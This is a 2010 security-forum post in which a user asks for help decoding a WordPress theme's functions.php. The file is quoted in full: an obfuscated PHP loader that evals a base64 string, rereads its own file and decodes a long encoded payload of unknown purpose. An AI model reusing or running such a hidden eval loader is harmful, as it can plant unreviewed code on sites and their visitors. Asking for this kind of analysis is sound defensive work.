|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 90
Members: 0
Total: 90
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Please help decode this file |
|
Posted: Sat Jun 19, 2010 4:38 pm |
|
|
Kuroba |
Beginner |
|
|
Joined: Jun 19, 2010 |
Posts: 2 |
|
|
|
|
|
|
|
Hi guys, would really appreciate if anyone can help me decode this file. The file is functions.php of a wordpress theme. Thx in advance.
Code: | <?php // /* */
$OOO0O0O00=__FILE__;$OOO000000=urldecode('%74%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64%66%70%6e%72');$OO00O0000=46112;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';eval(($$O0O0000O0('JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwMDAwezEyfS4kT09PMDAwMDAwezE4fS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7MTl9O2lmKCEwKSRPMDAwTzBPMDA9JE9PME9PMDAwMCgkT09PME8wTzAwLCdyYicpOyRPTzBPTzAwME89JE9PTzAwMDAwMHsxN30uJE9PTzAwMDAwMHsyMH0uJE9PTzAwMDAwMHs1fS4kT09PMDAwMDAwezl9LiRPT08wMDAwMDB7MTZ9OyRPTzBPTzAwTzA9JE9PTzAwMDAwMHsxNH0uJE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezIwfS4kT09PMDAwMDAwezB9LiRPT08wMDAwMDB7MjB9OyRPTzBPTzAwME8oJE8wMDBPME8wMCwxMTQzKTskT08wME8wME8wPSgkT09PMDAwME8wKCRPTzBPTzAwTzAoJE9PME9PMDAwTygkTzAwME8wTzAwLDM4MCksJzY5aVpRTUdjTjJYaERkRlJzNy9vM2p3bWUwTFZINXJ1eDhQdll0S0kxSkFhYlVTV0VrZ095VHBubHpmQys0QnE9JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?>
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